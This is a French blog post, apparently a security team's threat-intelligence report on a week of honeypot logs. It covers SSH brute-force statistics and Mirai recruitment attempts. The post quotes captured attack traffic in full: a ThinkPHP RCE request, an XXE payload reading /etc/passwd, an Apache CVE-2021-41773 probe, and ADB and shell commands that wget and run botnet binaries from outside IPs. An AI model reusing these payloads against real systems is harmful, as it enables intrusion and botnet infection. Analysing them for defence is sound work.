Au cours du mois de Mai, nous avons déployé notre honeypot maison sur plusieurs adresses IPs chez divers hébergeurs sur 5 continents différents.
Des protocoles sont en cours d’ajout, et certaines évolutions sont en cours de préparation, dans cet article nous décrirons les principales attaques subies par notre infrastructure au cours de la semaine du 05/06/2023 au 12/06/2023.
Bruteforce SSH
Au cours de cette semaine, nous avons reçu 95085 tentatives de connexion sur les ports 22 notre honeypot.
~84% de ces tentatives utilisant root en nom d’utilisateur, suivi de loin en deuxième position par 1% de user.
Top 5 des noms d’utilisateur testés
- root (84%)
- user (1%)
- admin (0.2%)
- test (0.042%)
- ubuntu (0.040%)
Top 5 des mots de passe testés
- 123 (6%)
- 1234 (4%)
- 123456 (3%)
- root (1.7%)
- admin (1.6%)
En examinant les origines de ces attaques par région, voici le classement des 5 adresses IPs responsables des la majorite des tentatives d’authentification SSH sur notre honeypot :
IPs | Localisation | ASN |
---|---|---|
103.105.67[.]170 | Jakarta | AS17995 |
36.110.228[.]254 | Shanghai | AS23724 |
70.234.246[.]106 | Etats-Unis | AS7018 |
62.122.184[.]124 | Russie | AS57523 |
47.147.62[.]205 | Etats-Unis | AS5650 |
223.84.61[.]236 | Shangai | AS9808 |
Botnet - MIRAI via ThinkPHP
Notre honeypot a également à de nombreuses reprises été la cible de bots tentant vraisemblablement de le recruter dans le botnet MIRAI. Le même qui avait participé à l’attaque paralysant une partie de l’Internet en 2016 en ciblant le service DynDNS.
Le mode de recrutement principal se base sur un exploit du framework ThinkPHP, exploité depuis 2018 : un binaire Linux ELF 32 bits est téléchargé sur la machine cible avant d’être executé et supprimé :
# Exemple de requête HTTP reçue sur notre honeypot
GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://IPHERE/bins/x86 -O thonkphp %3B chmod 777 thonkphp %3B ./thonkphp ThinkPHP %3B rm -rf thinkphp' HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Uirusu/2.0
# Détail des commandes executées
wget http://IPHERE/bins/x86 -O thonkphp;
chmod 777 thonkphp;
./thonkphp ThinkPHP %3B rm -rf thinkphp
Vous remarquez le “IPHERE” dans la requête ? Ce n’est pas une modification de notre part, mais vraisemblablement un placeholder qui a été laissé non modifié par les attaquants…
Certaines requêtes sont cependant fonctionnelles et contiennent bien une adresse IP permettant de récupérer un executable valide.
Celui-ci a été identifié comme le bot Mirai et est sauvegardé avec des noms de fichier binaire differents en fonctions des requêtes :
- thonkphp (oui thonk)
- yboats
- Ybot
- matrix
- Shinji
Et d’autres valeurs semblant être aléatoires.
Le binaire (sha256sum:ec06fd8eaf84ff204657f8ad7cb18c7a9903ac875ae32dcf5b9a9496aeaef9e7) a été envoyé sur VirusTotal et y est disponible au téléchargement.
On note que le malware semble avoir été packagé avec le packer UPX :
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
Focus sur l’IP 83.97.73[.]89
Cette est IP originaire de Russie et signalée à plus de 3500 reprises pour des activités malveillantes sur AbuseIPDB a été observée plus d’un milliers de fois dans nos logs.
Si ce n’est pas l’IP la plus active (la palme revient à 103.105.67[.]170 de Jakarta qui a bruteforcé le service SSH de certaines de nos machines en continu), nous avons pu observer plusieurs comportements particulièrement malveillants et intéressants de sa part.
Injection XXE
Cette IP a été été associée à plusieurs campagnes d’attaques malveillantes, certaines exploitant ThinkPHP comme vu précédemment, ou encore d’autres frameworks PHP, nous avons notamment remarqué une tentative d’injection XML External Entities (XXE) :
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="[http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a](http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a)">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe%3B</AcceptableResponseSchema>
</Request>
</Autodiscover>
[...]
Visant vraisemblablement des serveurs Microsoft Exchange et SharePoint dans le but de récupérer le contenu de leurs fichiers /etc/passwd
.
Exploitation Apache
Provenant de la même adresse IP, nous avons relevé dans nos logs, des requêtes HTTP POST ciblant l’URL /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
.
Cette activité est associée à l’exploitation de la vulnérabilité CVE-2021-41773 présente dans la version 2.4.49 d’Apache HTTP Server.
Ici, le code testé pour execution est majoritairement de la forme suivante :
A=|echo;
echo -n teAVnpDwBx | md5sum
Sans plus de suite après une réponse en 200 (sans execution du code) de notre serveur.
Il nous semble probable que le scanner pour cette vulnérabilité se contente dans un premier temps de tester la possiliblité d’execution de code avec des valeurs aléatoires, si le checksum md5 renvoyé par le serveur correspond au checksum md5 fait par le scanner de la valeur aléatoire, la vulnérabilité est vraisemblablement réelement exploitable.
Exploit ADB
Après avoir simulé une partie des fonctionnalités du protocole ADB sur notre honeypot, nous avons remarqué un grand nombre de tentatives de connexion de la part de scanners.
Certains se contentent d’établir une connexion, d’autres utilisent le protocole dans le but de télécharger et executer du code malveillant :
OPENX F Tc °¯º±shell:cd /data/local/tmp/; busybox wget http://185.225.74[.]229/w.sh; sh w.sh; curl http://185.225.74[.]229/c.sh; sh c.sh; wget http://185.225.74[.]229/wget.sh; sh wget.sh; curl http://185.225.74[.]229/wget.sh; sh wget.sh; busybox wget http://185.225.74[.]229/wget.sh; sh wget.sh; busybox curl http://185.225.74[.]229/wget.sh; sh wget.sh
La requête peut-être traduite plus simplement par :
# Ouvre un flux de communication vers l'appareil Android
# Ouvre un shell et execute les commandes suivantes :
cd /data/local/tmp/
busybox wget http://185.225.74[.]229/w.sh # Busybox est un composant de base des ROMs Android
sh w.sh
curl http://185.225.74[.]229/c.sh # Plusieurs méthodes de téléchargement sont testées
sh c.sh
wget http://185.225.74[.]229/wget.sh # Plusieurs fichiers également, certainement avec de la redondance
sh wget.sh
curl http://185.225.74[.]229/wget.sh
sh wget.sh
busybox wget http://185.225.74[.]229/wget.sh
sh wget.sh
busybox curl http://185.225.74[.]229/wget.sh
sh wget.sh
Les scripts shells observés contiennent eux aussi des requêtes permettant de récupérer cette fois-ci des binaires avant de se supprimer eux-mêmes après execution :
# http://185.225.74[.]229/wget.sh
wget http://103.95.196[.]149/arm; chmod 777 arm; ./arm android
wget http://103.95.196[.]149/arm5; chmod 777 arm5; ./arm5 android
wget http://103.95.196[.]149/arm6; chmod 777 arm6; ./arm6 android
wget http://103.95.196[.]149/arm7; chmod 777 arm7; ./arm7 android
wget http://103.95.196[.]149/m68k; chmod 777 m68k; ./m68k android
wget http://103.95.196[.]149/mips; chmod 777 mips; ./mips android
wget http://103.95.196[.]149/mpsl; chmod 777 mpsl; ./mpsl android
wget http://103.95.196[.]149/ppc; chmod 777 ppc; ./ppc android
wget http://103.95.196[.]149/sh4; chmod 777 sh4; ./sh4 android
wget http://103.95.196[.]149/spc; chmod 777 spc; ./spc android
wget http://103.95.196[.]149/x86; chmod 777 x86; ./x86 android
wget http://103.95.196[.]149/x86_64; chmod 777 x86_64; ./x86_64 android
rm $0
Les binaires sont possiblement eux aussi liés à MIRAI ou a un autre variant de botnet IoT à en croire le résultats de VirusTotal ; une brève analyse de la structure du binaire permet de supposer que celui-ci :
- Inclut un client et serveur TCP (les messages d’erreur TCP font partie du binaire)
- Inclut un client et serveur HTTP (probablement de la Back-Chaining Propagation)
- Inclut un serveur FTP (sftp-server), Telnet et SSH (dropbear)
- Cible notamment des dashcams Android, comme précédemment observé dans des variants de MIRAI par securityatwork.es , bien que le variant ne semble pas être 100% similaire. Probablement des puces HiSilicon hikvision 3511 à en croire la chaîne de caractères
stm_hi3511_dvr
présente dans le binaire. - Cible les architectures arm5, arm6, arm7, mips, mpsl, x86_64
Note : Dans un botnet, la Back-Chaining propagation consiste à transmettre un attack toolkit de bot attaquant vers le bot installé sur la cible après une compromission.
À bientôt pour l’analyse des logs des semaines suivantes !